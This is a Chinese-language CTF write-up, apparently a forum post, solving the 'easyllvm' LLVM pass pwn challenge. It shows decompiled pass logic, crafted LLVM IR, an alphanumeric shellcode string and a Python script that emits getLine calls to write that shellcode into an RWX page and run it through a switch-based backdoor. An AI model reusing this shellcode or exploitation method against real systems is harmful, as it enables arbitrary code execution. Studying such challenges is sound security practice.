-
-
[原创]easyllvm-pwn解析
-
发表于: 2025-8-21 15:55 564
-
今天清空之前留下来的题,碰到这道llvm pass pwn,刚好之前学习了这个怎么做
程序分析
首先就是找函数runOnFunction,这道题没有去除符号,直接就能找到

然后开始分析这个run的逻辑
1 2 | v2 = (llvm::LoopInfoWrapperPass *)llvm::Pass::getAnalysis<llvm::LoopInfoWrapperPass>((__int64)this);LoopInfo = llvm::LoopInfoWrapperPass::getLoopInfo(v2); |
这个应该是先获取中间码的Loop循环信息,因为第一段分析中while循环也没用到,等之后分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | if ( (llvm::operator!=(v108, &v107) & 1) != 0 ) { v106 = (llvm::BasicBlock *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator*(v108); v105 = v106; v104 = llvm::BasicBlock::begin(v106); v103 = llvm::BasicBlock::end(v105); while ( 1 ) { if ( (llvm::operator!=(&v104, &v103) & 1) == 0 ) { llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator++(v108); goto LABEL_2; } v102 = llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator*(&v104); v101 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v102); if ( v101 ) { CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v101); if ( CalledFunction ) break; }LABEL_33: llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(&v104); } std::allocator<char>::allocator(v98); std::string::basic_string(v99, "easyllvm", v98); std::allocator<char>::~allocator(v98); RC4::RC4((__int64)v97, (__int64)v99); v95[0] = llvm::Value::getName(CalledFunction); v95[1] = v3; llvm::StringRef::str[abi:cxx11]((__int64)v96, (__int64)v95); RC4::encrypt(v94, v97, v96); std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::basic_stringstream(v92); v91 = v94; v90 = std::string::begin(v94); v89 = std::string::end(v91); while ( (__gnu_cxx::operator!=<char *,std::string>(&v90, &v89) & 1) != 0 ) { v88 = *(_BYTE *)__gnu_cxx::__normal_iterator<char *,std::string>::operator*(&v90); v29 = std::ostream::operator<<(&v93, std::hex); v87 = std::setw(2); v30 = std::operator<<<char,std::char_traits<char>>(v29, v87); v86 = std::setfill<char>(48LL); v4 = std::operator<<<char,std::char_traits<char>>(v30, v86); std::ostream::operator<<(v4, v88); __gnu_cxx::__normal_iterator<char *,std::string>::operator++(&v90); } std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::str(v85, v92); if ( (std::operator==<char>(v85, "21021247") & 1) != 0 )// mmap { ArgOperand = llvm::CallBase::getArgOperand(v101, 1u); if ( llvm::dyn_cast<llvm::SExtInst,llvm::Value>(ArgOperand) ) { v6 = llvm::CallBase::getArgOperand(v101, 1u); v83 = (llvm::UnaryInstruction *)llvm::dyn_cast<llvm::SExtInst,llvm::Value>(v6); Operand = llvm::UnaryInstruction::getOperand(v83, 0); v82 = (llvm::UnaryInstruction *)llvm::dyn_cast<llvm::LoadInst,llvm::Value>(Operand); if ( v82 ) { v8 = (llvm::Value *)llvm::UnaryInstruction::getOperand(v82, 0); v81[0] = llvm::Value::getName(v8); v81[1] = v9; llvm::StringRef::StringRef((llvm::StringRef *)v80, ".addr"); if ( (llvm::StringRef::contains(v81, v80[0], v80[1]) & 1) != 0 ) { if ( mmap_addr ) { v79 = 5;LABEL_32: std::string::~string(v85); std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::~basic_stringstream(v92); std::string::~string(v94); std::string::~string(v96); std::string::~string(v99); goto LABEL_33; } mmap_addr = (__int64 (*)(void))mmap(0LL, 0x1000uLL, 7, 33, 0, 0LL); if ( mmap_addr == (__int64 (*)(void))-1LL ) { v10 = llvm::errs(0LL); llvm::raw_ostream::operator<<(v10, "mmap failed\n"); } else { v11 = llvm::errs(0LL); llvm::raw_ostream::operator<<(v11, "mmap success\n"); } } } } } |
简单来说,这段就是分析调用的函数名,其中还用到了RC4加密,easyllvm为密钥,然后对函数名进行加密并于相应字符进行匹配,21021247对应的就是mmap,注意这里的mmap是自己写的exp文件中自定义的mmap函数。如果函数匹配成功,后续会检查函数的第二个参数首先是否是符号拓展指令(依照我的理解就是,第二个参数是否被符号拓展过),然后会继续检查参数是否是Load指令,全部符合的话就会获取这个变量名,如果是.addr就会执行mmap函数得到一块rwx区域。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | if ( (std::operator==<char>(v85, "2b0a077b4fe79c") & 1) != 0 )// getLine { v78 = -1; v12 = llvm::CallBase::getArgOperand(v101, 0); v13 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v12); ZExtValue = llvm::ConstantInt::getZExtValue(v13); if ( ZExtValue >= 0x1000 ) { v14 = llvm::errs(v13); llvm::raw_ostream::operator<<(v14, "offset is too large\n"); v79 = 5; goto LABEL_32; } v15 = llvm::CallBase::getArgOperand(v101, 1u); v76 = (llvm::UnaryInstruction *)llvm::dyn_cast<llvm::LoadInst,llvm::Value>(v15); if ( v76 ) { v15 = llvm::UnaryInstruction::getOperand(v76, 0); v75 = (llvm::User *)llvm::dyn_cast<llvm::GlobalValue,llvm::Value>(v15); if ( v75 ) { v15 = llvm::User::getOperand(v75, 0); v74 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v15); if ( v74 ) { v15 = (__int64)v74; v78 = llvm::ConstantInt::getZExtValue(v74); } } } if ( v78 == -1 || (v15 = v78, !isalnum(v78)) || !mmap_addr ) { v16 = llvm::errs((llvm *)v15); v17 = llvm::raw_ostream::operator<<(v16, v78); llvm::raw_ostream::operator<<(v17, "=> value is invalid\n"); v79 = 5; goto LABEL_32; } *((_BYTE *)mmap_addr + ZExtValue) = v78; } v79 = 0; goto LABEL_32; } |
接着就是getLine函数,也是两个参数,第一个是写入位置的偏移,必须是常量int类型;第二个首先在调用函数前有Load操作,然后还必须是全局类型的常量,之后还会对第二个参数进行检查,最关键的就是必须是数字或者字母,这里就会联想到纯数字字母类的shellcode,然后一次在偏移处写入一个字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 | v73 = LoopInfo; v72 = llvm::LoopInfoBase<llvm::BasicBlock,llvm::Loop>::begin(LoopInfo); v71 = llvm::LoopInfoBase<llvm::BasicBlock,llvm::Loop>::end(v73); while ( (__gnu_cxx::operator!=<llvm::Loop * const*,std::vector<llvm::Loop *>>(&v72, &v71) & 1) != 0 ) { v70 = *(_QWORD *)__gnu_cxx::__normal_iterator<llvm::Loop * const*,std::vector<llvm::Loop *>>::operator*(&v72); v68[0] = llvm::LoopBase<llvm::BasicBlock,llvm::Loop>::blocks(v70); v68[1] = v18; v69 = v68; v67 = (llvm::BasicBlock **)llvm::iterator_range<llvm::BasicBlock * const*>::begin(v68); v66 = llvm::iterator_range<llvm::BasicBlock * const*>::end(v69); while ( v67 != (llvm::BasicBlock **)v66 ) { v65 = *v67; v64 = v65; v63 = llvm::BasicBlock::begin(v65); v62 = llvm::BasicBlock::end(v64); while ( (llvm::operator!=(&v63, &v62) & 1) != 0 ) { v61 = llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator*(&v63); v60 = v61; if ( (llvm::isa<llvm::SwitchInst,llvm::Instruction *>(&v60) & 1) != 0 ) { v59 = llvm::dyn_cast<llvm::SwitchInst,llvm::Instruction>(v61); v19 = v59; llvm::SwitchInst::cases((llvm::SwitchInst *)v57); v58 = v57; v56[0] = llvm::iterator_range<llvm::SwitchInst::CaseIteratorImpl<llvm::SwitchInst::CaseHandle>>::begin( v57, v19); v56[1] = v20; v55[0] = llvm::iterator_range<llvm::SwitchInst::CaseIteratorImpl<llvm::SwitchInst::CaseHandle>>::end(v58); v55[1] = v21; while ( (llvm::iterator_facade_base<llvm::SwitchInst::CaseIteratorImpl<llvm::SwitchInst::CaseHandle>,std::random_access_iterator_tag,llvm::SwitchInst::CaseHandle const,long,llvm::SwitchInst::CaseHandle const*,llvm::SwitchInst::CaseHandle const&>::operator!=( v56, v55) & 1) != 0 ) { v22 = (_QWORD *)llvm::SwitchInst::CaseIteratorImpl<llvm::SwitchInst::CaseHandle>::operator*(v56); v54[0] = *v22; v54[1] = v22[1]; CaseValue = llvm::SwitchInst::CaseHandleImpl<llvm::SwitchInst,llvm::ConstantInt,llvm::BasicBlock>::getCaseValue(v54); v23 = (llvm::ConstantInt *)llvm::SwitchInst::CaseHandleImpl<llvm::SwitchInst,llvm::ConstantInt,llvm::BasicBlock>::getCaseValue(v54); if ( llvm::ConstantInt::getZExtValue(v23) == 102 && mmap_addr ) { CaseSuccessor = (llvm::BasicBlock *)llvm::SwitchInst::CaseHandleImpl<llvm::SwitchInst,llvm::ConstantInt,llvm::BasicBlock>::getCaseSuccessor(v54); v51 = CaseSuccessor; v50 = llvm::BasicBlock::begin(CaseSuccessor); v49 = llvm::BasicBlock::end(v51); while ( (llvm::operator!=(&v50, &v49) & 1) != 0 ) { v48 = llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator*(&v50); v47 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v48); if ( v47 ) { v46 = (llvm::Value *)llvm::CallBase::getCalledFunction(v47); if ( v46 ) { std::allocator<char>::allocator(v44); std::string::basic_string(v45, "easyllvm", v44); std::allocator<char>::~allocator(v44); RC4::RC4((__int64)v43, (__int64)v45); v41[0] = llvm::Value::getName(v46); v41[1] = v24; llvm::StringRef::str[abi:cxx11]((__int64)v42, (__int64)v41); RC4::encrypt(v40, v43, v42); std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::basic_stringstream(v38); v37 = v40; v36 = std::string::begin(v40); v35 = std::string::end(v37); while ( (__gnu_cxx::operator!=<char *,std::string>(&v36, &v35) & 1) != 0 ) { v34 = *(_BYTE *)__gnu_cxx::__normal_iterator<char *,std::string>::operator*(&v36); v27 = std::ostream::operator<<(&v39, std::hex); v33 = std::setw(2); v28 = std::operator<<<char,std::char_traits<char>>(v27, v33); v32 = std::setfill<char>(48LL); v25 = std::operator<<<char,std::char_traits<char>>(v28, v32); std::ostream::operator<<(v25, v34); __gnu_cxx::__normal_iterator<char *,std::string>::operator++(&v36); } std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::str(v31, v38); if ( (std::operator==<char>(v31, "2e0e105c62e69688") & 1) != 0 )// backDoor mmap_addr(); |
第三步就是这个backDoor函数了,首先他用到了上文收集的Loop信息,只有存在Loop才能进行到下面的处理中,而且这里有一个比较恶心的地方就是llvm::isa<llvm::SwitchInst,llvm::Instruction *>(&v60) & 1) != 0
其中v60就是loop循环,这个要求switch指令必须就在loop开始处,我使用while循环时就始终过不去,后面就直接在ll文件上进行修改,之后还要检查case的值是否为102,只有是102才能执行shellcode
处理思路
mmap这一步很好通过,重点就是在getLine和backDoor上getLine就是根据要求,要有Load指令,要有全局常量,就先定义一个全局常量,然后用load把它加载到函数参数中,这样就能通过
1 2 3 | @global_char_0 = dso_local constant i8 80, align 1%6 = load i8, i8* @global_char_0, align 1call void @getLine(i32 noundef 0, i8 noundef signext %6) |
backDoor比较难,也试试了许多次才找到正确的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | store i32 102, i32* %3, align 4 br label %163163: ; preds = %167, %0 %164 = load i32, i32* %3, align 4 switch i32 %164, label %167 [ i32 102, label %165 ]165: ; preds = %163 call void (...) @backDoor() store i32 0, i32* %3, align 4 br label %166166: ; preds = %165 br label %163, !llvm.loop !6167: ; preds = %163 ret i32 0 |
通过这样编写就能让Pass在循环的头部就找到switch指令,之后获得case值,执行shellcode
shellcode
我是直接用alpha3生成的shellcode,然后写一个python脚本生成getLine所需要的指令语句,然后复制粘贴进去
如下
1 2 3 4 5 6 | p = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"for i in range(len(p)): print(f"@global_char_{i} = dso_local constant i8 {ord(p[i])}, align 1")for i in range(6,6+157): print(f" %{i} = load i8, i8* @global_char_{i-6}, align 1") print(f" call void @getLine(i32 noundef {i-6}, i8 noundef signext %{i})") |
注意事项
1.这里需要注意的是,那个.addr变量不能在c文件中被编译,你先用其他变量名代替,编译得到中间码文件之后再替换回来
2.shellcode不一定能打通,所以多试几个就行
个人分析可能有误,烦请师傅们指出,在此先谢过各位师傅orz
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!
赞赏
- [原创]easyllvm-pwn解析 565
- 关于C++ 栈溢出的感想 9816
- 求大佬的一道pwn题解析 3582
- [求助]关于C++ PWN的问题 2511
- 关于double free的问题 1774